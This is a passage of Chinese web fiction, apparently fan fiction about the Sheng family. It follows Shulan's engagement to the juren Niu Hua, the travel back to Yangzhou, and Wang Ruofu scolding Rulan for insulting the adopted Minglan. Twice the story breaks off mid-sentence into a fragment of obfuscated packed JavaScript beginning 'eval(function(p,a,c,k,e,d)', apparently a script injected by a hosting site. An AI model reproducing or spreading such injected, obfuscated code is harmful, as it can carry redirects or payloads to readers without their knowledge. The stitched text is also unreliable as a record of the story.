一个多月后,盛瑾接到了桃花村村长的信件,他属实是被信上的内容惊到了,内容大概是说,村长夫妇相信盛瑾的眼光,因此,牛桦的父母已经启程前往扬州城了,等他们见到牛桦后,便立马带着牛桦一同前往宥阳,若是两家亲事成了更好,若是不成,便当成是来宥阳逛一圈吧。 盛瑾估摸了一下时间,大概还有十几天,牛桦和他的父母就要到宥阳了,于是他直接起身去找盛老太太商议此事。 等盛瑾找到盛老太太,并告诉盛老太太这件事情后,盛老太太思考了片刻,语气淡然,道:“这样也好,免得来回一趟麻烦,我去和大嫂嫂说,想必他们也是愿意的。” 盛老太太说完便起身去找盛大老太太了,等盛大老太太听完盛老太太的话,她的瞳孔微微睁大,语气中满是不可置信,道:“真的嘛,那可是一个举人啊!若是顺利的话,也能榜上有名啊!这样的人家能看上我家淑儿嘛,更何况他们家的长子两榜进士出身,如今也是正六品通判,又娶了四品官员的嫡次女,这前程肉眼可见了,将来他入仕后有兄长帮衬,这前程也不会差到哪里去的,怎么会选择淑儿呢。” 盛老太太脸上浮现出一抹笑容,语气柔和,道:“大嫂嫂,这有什么不可能呢,牛桦一家和瑾儿交情不浅,瑾儿都说了牛家是个忠厚老实的耕读人家,虽说那牛桦是个举人,但也是吊车尾上去的,他夫子也说了至少六七年苦读才能有机会榜上有名,可是那些个官宦人家谁会将嫡出女儿嫁给他呢,牛桦哥哥那是特例,再说了,谁也不可能将嫡女拿去冒风险,这要是个庶女呢,哥哥娶的是嫡女,弟弟娶的是庶女,这风言风语的,长此以往也不利于兄弟之间的关系,再加上瑾儿说这个桦哥儿性子有些沉闷,所以他们想找一个处的来的,这范围可不就缩小了嘛。” 盛老太太脸不红心不跳的为盛瑾说好话,继续道 :“再者,我听瑾儿说过牛家的人曾被收养瑾儿的人救过,因此,在收养瑾儿的人去世后,他们对瑾儿多有帮衬,后来瑾儿随师傅离开后,再次回来时也与牛家来往亲密,长此以往下来,说瑾儿和牛家的感情是世交之情也不为过,他们应该是想着亲上加亲,瑾儿的侄女也不会差到哪里去才起的意思,况且我们家淑姐儿也不差,样貌清秀,又知书达礼、管的一手好家,这也是难找的好媳妇。” 盛大老太太被盛老太太的话逗笑了,语气中夹杂着笑意,道:“那有你这么夸自己的侄孙女嘛,但是他大哥哥的妻子是官宦人家的嫡女。” 盛大老太太点到为止,盛老太太自然明白她想表达什么,怕盛淑兰被欺负,盛老太太脸上的笑意更浓了几分,语气柔和,道:“大嫂嫂,你就放宽心吧,瑾儿和我说过这位大娘子,牛家朔哥儿的亲事还是瑾儿当年帮着参谋一二的,朔哥儿那岳家也算是书香世家了,他那大娘子和岳母都是知书达礼之人,这性情也是极好的,想来若是成了妯娌,也不是什么难以相处之人,再说了,朔哥儿夫妇二人在外赴任呢,而桦哥儿则要在书院读书,两人若是成了,也是自己过自己的小日子,只要孝顺公婆,没人说什么。” 盛大老太太听到这里心也放下了,抓着盛老太太的手,语气中满是感激,道:“这事若是成了,我一定要让维儿和他的媳妇好好感谢你和瑾哥儿啊!” 等盛老太太走后,盛大老太太就派人去将盛维夫妇叫了过来,将盛老太太讲的话,告诉了他们,而盛维和李氏此时心里一片震惊,没想到,自己先前费尽心思都没有找好的女婿,如今却送上门了。 盛维皱了皱眉头,语气中带着些许犹豫和担忧,道:“这件事情能成是最好,若是不能成会不会影响瑾堂弟和他们的关系呢。” 盛大老太太看着自己儿子还知道关心堂兄弟,甚是欣慰,她嘴角微微弯起,道:“你瑾堂弟可比你和你媳妇眼光好,那家子的人都是忠厚老实的,信上都说了,若能成最好,不成也不碍事,就当他们来欣赏宥阳风景吧,你别看他们家现在只有一个正六品通判和举人,可过些年就不一定了,那些个官宦人家谁不是从这一步来的,再说了,你纮堂弟如今不也是正六品通判嘛,那牛朔可比纮哥儿年轻啊!说起来,这门亲事还是沾了你瑾堂弟的好处,不管成与否,你都要好好感谢你瑾堂弟啊!” 李氏心里在疯狂的点头,这可是举人啊!比那个孙志高好了不知道多少,去他的十二岁中秀才,如今还是个秀才,这个牛桦可是比他大不了多少啊!人家可是举人了。 李氏想起上次和她不对付的夫人不知道从哪得来的消息,自己想把女儿嫁给孙志高,自己否认过后,又嘲讽说自己的女儿这是看不上秀才娘子,想当举人娘子嘛,这要是成了自己女儿可不就是举人娘子了,若是成了,到时候定要到她面前好好说道说道。 李氏脸上笑开了花,附和道:“是,是,这成不成都是未知的事情,与瑾堂弟无关,无论成不成,媳妇心里都感激瑾堂弟,这本就不是瑾堂弟的事情,是瑾堂弟心里念叨着淑儿,才告诉我们的。” 盛大老太太面带微笑的点了点头,语气柔和,道:“你能这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自从盛淑兰订婚后,李氏深觉得这件事情盛瑾出了大力气,随之而来的便是对盛明兰和盛长安两个孩子更好了,从此可以看出李氏对与盛淑兰和牛桦的婚事之满意程度了,而盛瑾那日也将盛老太太的话听进去了,于是他等盛淑兰和牛桦定下亲事后就向盛维他们提出了辞行。 盛维自然也知道盛瑾不可能一直留在宥阳,所以他对此没有什么意义,而李氏对此有些不舍,毕竟这些日子的相处她是真喜欢盛明兰和盛长安的,但是她也在知道天下无不散的筵席,于是这些天她就尽量多给两个孩子准备些东西以表她对她们的喜爱。 盛瑾在临行前收拾了一下他们带来的东西,将其中一大部分他觉得不用带走的东西分给了盛家大房的几个哥儿姑娘,盛淑兰和胡桂姐、盛品兰每人得了一小盒直径十五毫米的圆润白珍珠、一小袋金子以及十几匹上等布料,而盛长松和胡泰生得了许多上号的墨和纸、一支上号的笔和一个上号的观,至于盛长梧则得了两件趁手的兵器。 李氏和盛纭本来不想收的,但盛瑾说了以后也不知道什么时候能再见,这就当给孩子们的践行礼吧,于是她们也不便再说些什么了,不过,通过她们的努力,原本给盛老太太一行人的礼物从两船变成了三船,这还是盛老太太制止后的结果了。 这件事情盛维也是知道的,他没有那么傻,那三艘船里有一艘船是给盛纮一家子的礼物,另外两艘船才是给盛瑾一行人的,因为考虑到盛纮的感受,再加上李氏和盛纭给盛明兰盛长安准备了一大堆的东西,所以对外说法是李氏和盛纭舍不得两个孩子,给孩子们准备的东西。 很快盛瑾和盛老太太启程的日子到了,盛大老太太、盛纭一家子、盛维一家子她们对盛老太太一行人十分不舍,而另一边的盛家三房只来了盛绉一人,他瞧着这三艘船的物资顿觉得今日不让三房太太跟过来是对的,要不然,她会嫉妒的说出一些难听的话来给盛瑾一行人添堵。 李氏满脸不舍的抱着盛明兰,又看向盛长安,说实在的这两个孩子向来是乖巧可爱,再加上,盛瑾对盛淑兰她们好,她自然也投桃报李的对盛明兰她们好,日子久了,她是真喜欢这两个孩子的,一想到就此别过后不知多久才能再见一面,她这心里就难过啊!为此她又零零散散的准备了一大堆东西给盛明兰和盛长安,美名其曰作为大伯母送给盛明兰和盛长安的礼物,此时的她全然没有以前给王若弗送东西时的心疼,只担心自己给盛明兰她们准备的不充足,由此可见她对盛明兰姐弟的喜爱。 没一会儿,盛瑾一行人和盛长梁就上了船,然后,那三艘船就在盛家大房、三房以及盛纭一家子的目光中,渐行渐远了,直至消失后,盛维一行人便各回各家了。 第 58 章 一月之后,盛瑾一行人的船驶进了扬州城的范围内,白老爷一早就派人在这里等候盛瑾他们了。 盛瑾下船后,吩咐白家的小厮们先将盛维送给盛纮的礼物卸下来,随后,又派了一部分人将东西给盛家送去,剩下的人则是接着卸他们的东西,而盛瑾等人就直接回白家了。 盛瑾回到白家,漱洗了一番后,便前去找白老爷,此时的他瞳孔微微睁大,道:“什么?妹妹为何独自一人回汴州城呢?怎么没人写信告知我一声呢?” 白老爷叹了口气,语气中带着些许无奈,道:“瑾儿,婷儿是怕你担心她,也就没有去信告知你一声,不过,说到底婷儿这次回汴州城为的是烟姐儿的婚事。” 白老爷看着脸上带着些许疑惑的盛瑾,缓缓道:“也不知道顾家那位是怎么想的,居然想要将烟姐儿嫁回东昌伯爵府,夫婿的人选还只是秦伯爷的一个庶子,好在煜哥儿念着些他这位妹妹,特意找人回了一趟东昌伯爵府查了一下那位庶子,年幼丧母,由秦伯夫人扶养长大,性子唯唯诺诺的,又身无功名,说句不好听的就是靠着东昌伯爵府混吃等死的。” 盛瑾眼中闪过一丝讥讽,语气毫不客气,道:“还能想什么呢?他顾偃开还不是想要嫁个女儿好帮衬东昌伯爵府嘛,不过,这秦伯夫人脸可真大,既想要顾家姑娘的嫁妆又不肯舍个嫡子出来,她是怎么好意思拿这么个货色来糊弄顾偃开的,义父,你不要告诉我,顾偃开那二傻子真答应了吧,那可是他唯一的女儿,若是他真答应了,这顾家姑娘们以后怕是不好寻亲事了。” 白老爷脸上带着些许忧愁,道:“谁说不是呢?烟姐儿虽是庶出,但到底是顾偃开唯一的女儿,其身份尊贵不比那顾家两房的嫡女差多少,这要是舍出去了,顾家其他姑娘商议婚事时难保不会被人低看啊!” 白老爷说到这里,揉了揉额头,继续道:“婷儿接到煜哥儿的信件时都快要气疯了,那烟姐儿虽说不是婷儿亲生的,但到底是婷儿看着长大的,这些年对婷儿也是恭谨顺从,平日里也会绣些绣品送给婷儿,婷儿自是不忍看着这么个好孩子被那位送过去任人糟践的,况且邱小娘为人老实本分,每日都要带着烟姐儿给婷儿请安,就算婷儿免了她们的请安,邱小娘每月也会坚持来给婷儿请一次安,婷儿为着这份心意也是能帮就帮些的,好在那位脑子还算清楚些,没有一口答应烟姐儿的亲事,所以这件事情还有回转的余地。” 盛瑾无缝衔接道:“因此,婷儿连夜赶回汴州城,不过是想趁着顾偃开还没失了神智前抢先控制场面的同时,尽快给烟姐儿找门好亲事。” 盛瑾脸色有点难看,道:“这秦家真是生了个好女儿,人都走了还能借着她的由头从夫婿身上谋夺好处,也不知道顾侯夫妇泉下有知作何感想啊!不过,既然妹妹已经在赶回汴州城的路上了,那么我们也需要尽快出发了,义父,我等一会儿回去和母亲商量一下让盛纮上门拜访的时间,尽快将这一切完结后回汴州城,对了,至于烨哥儿和炜哥儿那边,麻烦义父去信让他们快些回来吧。” 牛家父母将牛桦带去宥阳时,白老爷便将顾廷炜也送到了顾廷烨所在的书院,而牛桦如今已然回去青州了。 白老爷对于此事一口答应下来了,而盛瑾在与白老爷说了一会儿话后,便径直去找盛老太太商量此事了,结果就是盛老太太也没有反对,并且决定过两天就让盛纮正式来白家拜访他们,这都是后话了,此时盛家那边,白家的小厮们已然将东西送到了盛家。 盛家的管家清点完东西后,便热情的将白家小厮们送出了门,接着转身前往王若弗的院子向她汇报工作。 等王若弗听完管家的汇报后,她挥了挥手,让其退下了,这时盛华兰从屏风后面出来,笑意盈盈,道:“维大伯父真是念着我们家啊!送了这么多东西啊!” 如今盛华兰还有一年多的时间就要及笄了,王若弗也开始手把手的教导她管家之事,因此,她也就在屏风后听着管家的汇报。 王若弗端着一杯茶杯,抿了一口茶水,然后,放下茶杯,缓缓道:“不是一直都是这样的嘛,有什么好感慨的,再说了,你那维大伯父可是给了两艘船的礼物给你瑾伯父啊!” 一旁的刘妈妈和盛华兰自是知道王若弗心里不舒坦了,认为盛维这是有了国公爷后,看不起她这个父亲是太庙出身的通判夫人了。 之前王若弗每每派人去送信时,都有让人从宥阳老家的丫鬟小厮那里打听盛老太太她们的事情,自是了解盛瑾一行人与盛家大房的关系极好。 这次盛瑾一行人回来时,盛老太太早已给王若弗来信,让她和盛纮不必来接她们了,等他们回扬州城后,休息几日,再来拜访就是了,因此,盛纮和王若弗才没有来迎接盛老太太的,而王若弗的人只比盛瑾一行人早些时日回来,自然知道盛淑兰的事情,不但她知道,她还与盛纮说过这件事情。 李氏和王若弗一直都有矛盾存在,起初王若弗知道盛淑兰被许给一个名次靠后的举人时,还在心里嘲笑李氏找了个这样的女婿,如此名次恐怕难以考上进士吧,为此还向盛纮提起了这件事。 盛纮可不是王若弗这样不了解内情的人,他听完后,不由的感叹道:“二哥哥可真是为维大哥哥找了个好女婿啊!” 王若弗不明所以,满脸疑惑,道:“一个耕读人家出身,还是吊车尾上榜的举人,也能算是好婚事嘛。” 盛纮看着自己大娘子这样,不禁有些无奈,但想到自己大娘子这些日子来表现极好,一直尽心尽力的孝顺盛老太太,为自己在扬州城留了个孝顺之名,于是他便耐下性子给王若弗细细解释道:“这个牛桦我不认识,但我曾有缘见过他哥哥牛朔,那也是一表人才,年纪轻轻便考中了两榜进士,其名次还颇为靠前,又被一位四品官员看中,许了嫡次女,那位四品官员和他大娘子都是出自书香门第,也算得上是清流世家了,再加上牛朔如今是正六品通判,那未来的前程可谓是一片光明,况且他只有牛桦一个同胞弟弟,长兄如父,未来自是会帮衬他的。” 盛纮说到这里,停顿了一下,接着道:“那牛桦虽是吊车尾中的举人,但是向他这样的年纪中举也是少数的,可见他还是有潜力的,再说了,与二哥哥亲近的人家家底会薄嘛,更何况,哪个官宦人家、清流世家不是从进士开始的呢。” 王若弗听完盛纮的话,发愣了一下,道:“如官人所言,这还是门极好的婚事了嘛,那我们华儿和那淑姐儿相差不大,为何二哥哥不想着华儿这亲侄女,反而偏心淑姐儿这个堂侄女,二哥哥莫不是糊涂了,这般里外不分呢。” 盛纮对于王若弗冒出的愚蠢念头感到无语,他这个大娘子平时都挺聪明能干的,管家也是一把好手,但偏偏有时却又是糊涂透顶啊! 盛纮扶额,语气中带着些许无奈,道:“这门婚事对于维大哥哥而言自然是极好的,但对于华儿而言并不算是好的,维大哥哥家没有出仕的,而我们家,我已是扬州城通判了,这些年又有些政绩在身,不愁前程。” 盛纮说到此处时,脸上浮现出一丝得意之色,道:“我们家柏儿、枫儿在读书方面颇有天赋,以后是要科举出仕的,如今我又多了个位居正一品少师和国公之位以及深受陛下恩宠的兄长,这门第自是不同往日了,华儿的婚事也能更上一层。” 盛纮语气中夹杂着些许感慨,道:“华儿是我们的嫡长女,自然是值得最好的,这几个孩子里我是最疼她的,自是会为她找个有担当的夫婿,让她一生顺遂。” 王若弗听盛纮这么说心里十分开心,眉开眼笑,语气中带着些许笑意,道:“官人说的在理,这婚事适合淑姐儿,但不一定适合华儿,我相信官人定会为华儿找个好夫婿的。” 画面回到盛华兰和刘妈妈这,她们早已知晓盛淑兰婚事的事情,也不认为精明的盛维会犯这样的错误,至少面子上会一碗水端平。 两家一人一艘船礼物,多出来的那艘船估计是李氏给盛明兰和盛长安的礼物,毕竟堂伯母给侄子侄女礼物没有人会说什么的,更何况她们也曾有过的,礼法上谁也挑不出什么错事,要不然,盛维不可能不阻止李氏的。 盛华兰上前来,抱着王若弗的胳膊,轻轻的摇了摇,用哄小孩的语气道:“母亲又在胡说什么呢,您哪能不知道多出来的那艘船是堂伯母给明兰和长安的礼物呢,毕竟淑兰堂姐的婚事还是二伯父出力的。” 盛华兰看到王若弗的脸上没有表情,又忙着为盛维说好话,道:“再说了,这些年维大伯父不知道给我们家送了多少金银细软,也为父亲帮了不少忙。” 王若弗听完盛华兰的话,语气中带着些许不服气,道:“你父亲和我娘家哥哥也帮了他不少忙,费他几个银钱也不算什么的。” 盛华兰被王若弗的话惊到了,语气急促,道:“母亲,这话你可别在父亲面前说起啊!父亲会生气的。” 一旁的刘妈妈附和道:“是啊!我的大娘子啊!您可只能在心里这么想,可千万别当着主君的面这么说啊!您定要多多感谢维老爷的厚意才是,千万别再一直提大娘子的娘家怎样怎样了,您难道忘了当初林小娘是怎么煽风点火乘虚而入的嘛,可别再弄出另一个林小娘了。” 刘妈妈一提到林噙霜,就像是戳到了王若弗的痛处,一下子惊醒了王若弗,当初就是因为自己老是提起娘家如何如何,又对盛纮的大事小事都要抓在手里,才让林噙霜有了可乘之机,她又想到盛纮这些日子时常会去林噙霜所在的庄子上,语气中带着一丝迟疑,道:“你说官人会不会将林噙霜再带回来啊!” 刘妈妈瞧着王若弗这般便知她放在心上了,随即给王若弗吃了颗定心丸,道:“大娘子啊!你属实是多心了,且不论国公爷是否愿意,就是老太太也绝对不会同意林小娘再回到盛家的,那国公爷可是老太太唯一的儿子啊!老太太是不会忍下这口气的,再说了,那白家将盛国公看成自家孩子一样疼爱,白老爷又住在丰国公府,国公爷都被林小娘气晕过去了,他能忍得下这口气和林小娘同住一个屋檐下嘛,所以大娘子不必在主君面前做这个恶人说林小娘如何如何的,只要主君还想和国公爷住在一块,林小娘是决计不会出现在国公爷的视线中的。” 刘妈妈说到这里,话音一转,道:“大娘子,如今第一要紧事不在林小娘那边,而是要与老太太打好关系,老太太是国公爷的母亲,也是主君的嫡母,在礼法上,主君是一定要听老太太的,以前或许老太太因为主君和她没有血缘关系,需要考虑主君的感受,不想和主君起冲突,现在却不一样了,老太太有了自己的嫡亲儿子,也算是和盛家有了血缘关系,也不靠主君了,主君若是忤逆老太太,不用老太太动手,国公爷就能对主君动家法,长兄如父可不是说说的,再者,老太太作为国公爷之母,回汴州城必会被封为一品诰命夫人的,诚然大姑娘曾养在老太太膝下,但五姑娘可不是在老太太身边长大的,这老太太对五姑娘又能有几分情呢,到底养过和没养还是有区别的。” 王若弗皱了皱眉头,颇为自欺欺人,道:“老太太不会如此偏心吧,我如儿也是盛家嫡女,她的孙女啊!” 刘妈妈壮着胆子轻声反驳道:“大娘子,您说这话自己也信嘛,那四姑娘也叫你母亲,您敢说在您心里四姑娘和大姑娘五姑娘一样嘛。” 刘妈妈眼中闪过一丝坚定,随即咬了咬牙,道:“大娘子,今儿,奴婢就大胆和您说一句掏心窝子的话,五姑娘那性子若是不好好管教,将来也讨不得老太太的欢心。” 王若弗一听到刘妈妈提起盛如兰,皱了皱眉头,语气中带着些许疑惑,道:“如儿,又做了什么吗?” 刘妈妈轻声细语道:“不知道,谁在五姑娘面前嚼舌根,说明兰姑娘一个庶女过继给国公爷后,过得都比五姑娘这个嫡女威风之类的话,引得五姑娘对明兰姑娘颇为怨念,前几天,还为了找威风,跑到四姑娘那,让四姑娘端茶送水,正巧被柏哥儿看到了,制止住了,但是五姑娘回到房间后,气得大放厥词道……” 王若弗心上涌出不好的感觉,瞳孔微微睁大的盯着刘妈妈,道:“她说了什么,你不必替她遮掩。”此时盛华兰也同样看着刘妈妈等着她的下文。 刘妈妈脸色微微难看道:“五姑娘说,她是嫡女凭什么要让着那些个庶出的,庶出的都应该给嫡出的当丫鬟使唤的云云之类的,还说……还说了明兰姑娘是个白眼狼,不过是换了个爹,就忘了自己的出身了,真当自己是国公府嫡长女了,不过是个小娘生养的。” 王若弗听得额头直冒青筋,一掌拍在桌上,语气中满是怒火,道:“她都多大了啊!莫不是疯了,过继这回事是可以开玩笑的嘛,她以为这是过家家吗?啊!在礼法上,明姐儿就是国公爷的女儿,国公府嫡长女,族谱上也是写的盛国公之嫡长女盛明兰,而且明姐儿是记在国公夫人名下的,什么小娘养的,那是一品诰命夫人的女儿,还有,什么庶出的就该给嫡出的当丫鬟使唤,让庶姐给她当丫鬟,她是想被清流世家、官宦人家笑死嘛,我这么生了这么个蠢货呢。” 盛华兰在一旁听得心惊胆战的,她是在盛老太太膝下养大的,又是盛纮最喜爱的女儿,读书习字自是极好的。 盛华兰自然知道盛如兰这些话的严重性,盛如兰这些话若是传出去可大可小,若往小了说,便是盛如兰年幼无知,若往大了说便是盛家主母教养问题了。 盛华兰紧张的抓着王若弗的手,语气中带着一丝惊恐,道:“母亲,如儿若是不严家管教,以后可是不得了啊!如此话语,若是传出去,可不仅仅是名声问题,若是被二伯父听到了,那可是不得了的,这些日子从宥阳传来的消息里,您是知道二伯父待明儿的态度如何。” 王若弗冒了个冷战,不仅仅是因为盛华兰的话,而是对盛如兰的无知感到害怕,她没成想才短短不到一年时间,盛如兰就变得这样胆大妄为了,是她这些日子过的太顺畅了,给了盛如兰底气了嘛。 王若弗此时下定决心管教盛如兰,不能再让她这样下去了,于是她对着刘妈妈道:“去,给我把如儿叫来。” 刘妈妈听王若弗的话去将盛如兰找来时,王若弗拍了拍盛华兰的手,语气中满是安抚,道:“华儿,以后你也多看着你妹妹点,若她有不妥之处,你尽管严加管教,你是长姐,她不敢不听你的。” 盛华兰听着王若弗的话,点了点头,若是之前,她不会干这样费力不讨好的事情,但是今天听完盛如兰说过的话,她真是胆战心惊啊!必须要好好管教盛如兰的言行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盛如兰被王若弗的样子吓到了,她站在原地呆若木鸡,王若弗气极了,用手颤抖的指着盛如兰,语气中满是怒火,道:“我怎么生了你这么个蠢货,你当过继是过家家嘛,你以为你二伯父过继明姐儿是如同嫡母将庶女记名为嫡女,好以此攀上一门好亲事为家中谋求助力嘛,你当那些个豪门大户、天潢贵胄人家眼睛是瞎的嘛,你知道过继是什么意思嘛,意味盛明兰就是你二伯父的嫡亲女儿,丰国公府的嫡长女,盛明兰是五岁时过继给你二伯父的,这是准备当亲闺女养大的,不是如为了让庶女出嫁时好看点,而记在嫡母名下充当嫡女那般的,你知道你二伯父让你维大伯父在族谱之上写的是盛明兰乃是盛国公夫妇之女,简而言之,盛明兰如今是已逝世的国公夫人的女儿,不是什么小娘生养的,再则,卫小娘早已被你父亲写了放妾书,她不是你爹的妾了,你到底懂不懂这其中的道理啊!” 盛如兰被王若弗说的眼眶泛红,站在那里一动不动的,而一旁的盛华兰看着自己素日里嚣张跋扈的妹妹如今这副模样,这心里有些心疼,便上前将她扶到一边坐下,接着缓缓开口道:“如儿,你别怪母亲说话重,你看你说的都是什么话,若真如你所说的来,那么盛家上下都要以明兰为重才是,毕竟明兰才是祖母正儿八经的嫡亲孙女,丰国公府的嫡长女。” 盛如兰听了盛华兰的话,瞳孔微微睁大,显然是被此话惊到呆住了,没一会儿,她又两眼含泪的看着盛华兰,也不说话。 盛华兰叹了口气,拿起随身的手帕,给盛如兰擦了擦泪水,轻声细语,道:“你和明兰并没有什么冲突之处,明兰是二伯父的女儿,你是父亲的女儿,你们在礼法上是堂姐妹,明兰不会占你一丝一毫的便宜,相反我们多了一个国公爷的二伯父,未来在嫁娶方面,别人还要高看一眼,母亲并非有意向你发脾气的,只是你说的太过于离谱了,她才会如此生气的,莫要怪罪母亲,她也是一片慈母之心。” 盛如兰抽搐了一下,断断续续道:“那,那,盛墨兰呢?她可,可没有被过继,当初是因为林小娘有本事,如今林小娘都被送走了,她凭什么还踩在我的头上。” 盛华兰抓着盛如兰的手,语气中满是安抚的意味,道:“林小娘虽然被送走了,但是父亲这些年来对长枫和墨兰的疼爱并不是假的,当初林小娘被送走,父亲是碍于二伯父,没法保住林小娘,心里对她有些许愧疚,而二伯父并没有因为林小娘而迁怒于长枫墨兰,父亲也就没了顾忌,现在看长枫墨兰没有亲生母亲的庇护,想起自己小时候,自然会多加怜惜,你若是在这时欺负墨兰,便是往父亲火山口碰,再则,将庶出的女儿当丫鬟使唤,那都是些没皮没脸的人家干的事,正经人家谁这么干啊!” 刘妈妈此时走上来,给盛华兰端来一杯茶,附和道:“大姑娘说的是,五姑娘年纪小,才对这些不了解,只有那等子不识礼数的商贾和庄户人家才不把庶出女儿当人看,越是显贵的人家,越是把姑娘家一般对待的!要知道姑娘是娇客,将来嫁人总有个说不准的,想当初大娘子还在娘家时,便有两个远房表姐,一嫡一庶,那家也都是一般供着;论亲时,嫡的嫁了高门大户,庶的嫁了个穷书生,可天有不测,谁知后来那高门大户竟没落了,反是那穷书生一路官运亨通,家业兴旺,那庶出的姑娘也是厚道的,念着当初嫡母和嫡姐的情义,便时时帮衬娘家和嫡姐家,后来,连那嫡姐的几个儿女都是她照应着成家嫁人的呢。” 盛如兰听完刘妈妈的话,心里有些气愤,语气中带着些许冷笑,道:“刘妈妈这是在咒我也如那嫡姐一般了?还有谁指望着盛墨兰的帮助,她不踩我一脚就不错了,况且我有嫡亲姐姐哥哥,才不需要她施舍我呢。” 盛华兰拍了一下盛如兰,眼神中带着些许责备,道:“刘妈妈哪是这样说的,感情刘妈妈的一片真心,在你这就是这样的。” 王若弗更是直接来到盛如兰身边,一巴掌拍在她的背上,骂道:“你个没心眼的东西,刘妈妈是我们自己人,这说的都是些贴心话,刘妈妈的意思是,越是高门大户人家,越不能让别人说闲话,姑娘家没嫁人时都是一样的对待;你倒好,成日头争风要强,自己却又没本事,讨不得你父亲的欢心,又要怪这怪那的,你学不得你大姐姐也就罢了,你倒是学得安分些啊!” 王若弗说完,满眼忧愁的看着盛如兰,叹了口气,道:“你这孩子气性也太大了些,偏又没什么手腕,将来恐怕是要吃大苦头的。” 王若弗说到这里,又苦口婆心的劝道:“不过说到底,你又何必与盛墨兰争呢,你如同你大姐姐一样,身份摆在那儿呢,将来必然是嫁的比她好,过的比她舒服,如今在这闹什么呢?没的惹你父亲不喜欢,从现在起,你就算是装,你也得给我装出一副姊妹和睦的样子来!” 王若弗说完后,又郑重的叮嘱盛如兰道:“关于明兰,你只能交好,若是不能交好,也决计不能交恶,正如你大姐姐所说的,明兰如今是丰国公府的嫡长女,她的身份比你尊贵多了,不比王公贵女差,再者,她现在可是你二伯父和祖母心尖上的肉,你若是欺负她,你母亲就算有通天之能也没法保住你,知道了吗?” 盛如兰小声的回道:“知道了,母亲。”而后盛华兰将盛如兰拉下去做思想建设去了,留下刘妈妈和王若弗在房间内。 刘妈妈笑着安慰王若弗道:“大娘子,五姑娘还小,可以慢慢教,还来的及,只是五姑娘为什么会这么想,是不是有些个碎嘴的女使小厮在姑娘面前说了些个什么,影响了姑娘的想法。” 王若弗听完刘妈妈的话,沉思了一会儿,眼神一沉,冷声道:“你说的有道理,是时候好好整理整理家中的女使小厮们了。”这天之后,王若弗大刀阔斧的对盛家上上下下调查整改了一顿。 第 59 章 清晨,盛纮和王若弗按照盛老太太安排的时间准时来到白家拜访盛瑾,当然,他们还带了盛华兰、盛如兰、盛墨兰三人一同前来,而盛长柏和盛长枫因着人在书院还未回来,所以他们二人并不在此行的队伍中。 盛纮因有公务在身无法久待,匆匆拜过盛老太太后,就径直前往书房寻找盛瑾,此时的盛瑾正抱着盛长安和盛长梁待在一起。 盛纮与盛瑾闲聊了好一会儿后,又匆忙的叮嘱了盛长梁几句好好学习之类的话,并给了盛长梁和盛长安见面礼后方才离去,只留下王若弗和三个女儿在白家陪着盛老太太。 盛老太太的院子里,王若弗满脸笑容的看着盛老太太,言语十分甜蜜,道:“母亲,气色见好,可见是宥阳老家养人啊!真是越看越年轻啊!” 盛老太太听着王若弗的话,脸上浮现一抹笑容,如今盛老太太有儿子孙子孙女在身边,日子过得顺心,看上去愈发显得慈祥了。 盛老太太眼含一丝笑意的看着王若弗,语气柔和,道:“哪有你说得这般好了,不过是近日心情顺畅,看起来好些罢了。” 盛如兰、盛墨兰站在一旁不说话,只因往日里和盛老太太不怎么交流,所以她们对盛老太太也不熟悉,再加上她们觉得盛老太太那双眼睛仿佛能透过人看到她们的内心,这使得二人前所未有的默契低着头不说话。 盛老太太转眼看了一眼盛墨兰和盛如兰,随即眼光在盛墨兰身上停留了一下,她看出来盛墨兰并没有因为亲生小娘的离开而被刻薄对待后,就将眼光移开了。 王若弗虽厌恶林噙霜,但却不会将气撒在其无辜幼子身上,她也许算不上是最好的嫡母,可大抵上还算好的,心有良善,说起来这王若弗还是盛老太太谋算来给盛纮当大娘子的,也是盛老太太细细打算过的。 盛华兰站在一旁看着盛墨兰和盛如兰沉默不语的样子,心中顿感无奈,只能自己来调节气氛了,于是她面带微笑,语气轻柔,道:“祖母,许是在宥阳发生了许多开心的事情,所以心情才会这么好的。” 盛华兰说着便上前搂过盛老太太的胳膊,语气中带着点撒娇的意味,道:“祖母,你想不想华儿啊!华儿可想祖母了。” 盛华兰毕竟是在盛老太太膝下长大的,盛老太太对盛华兰还是十分疼爱的,因而盛华兰的这个动作瞬间打破了这些日子的隔阂感。 盛老太太用另一只手轻轻的刮了一下盛华兰的鼻子,笑骂道:“你个小猢狲,就知道说些好听的逗我开心罢了,再过一年多就要及笄的人了,还这副小孩子的姿态,不嫌丢人嘛。” 盛华兰搂着盛老太太的胳膊轻轻的摇了摇,脸上的笑容十分甜蜜,道:“祖母这是说那里的话啊!我在祖母面前永远是个孩子嘛,再说了,我想祖母也是真的啊!祖母可真是冤枉我了。” 盛老太太被盛华兰逗的乐呵呵的,王若弗也在一旁附和着帮腔,彼时屋内气氛和谐了不少,至少没有刚开始的冷淡了。 此时盛明兰正从大门中进来,屋内一下子安静下来,王若弗和盛华兰、盛如兰、盛墨兰同时看向盛明兰,只见一个身穿精致小巧的四喜如意云纹锦锻,腰间佩戴这一个纯水晶吊坠,头上用两条绸缎扎成的两个丸子头,不过,别出心裁的是两个丸子上分别有一个相同且十分精致的兰花发饰,长相十分精致,看上去乖乖巧巧的,犹如一个精致的洋娃娃,在没有利益的冲突下,一下子就萌到了王若弗和盛华兰。 盛明兰一进门就看到盛老太太房内有一群人,属实是被吓了一跳,没一会儿,她反应过来,向众人行礼后,便来到盛老太太身边,小声道了声“祖母。” 盛老太太看着盛明兰的反应,才想起盛明兰是五岁被过继给盛瑾的,如今以过了将近一年的时间,就算盛明兰再怎么聪慧过人,五岁孩子的记忆力也是有限的,再加上卫如意并不得宠,因而她见嫡母和几个兄姐的时间也不多,印象也不深刻,估摸着现在已经忘了眼前这些人曾是她的嫡母嫡姐庶姐了。 盛老太太脸上微微一笑,一手揽过盛明兰,满眼慈爱的看着盛明兰,语气柔和,道:“明儿来陪祖母吗?” 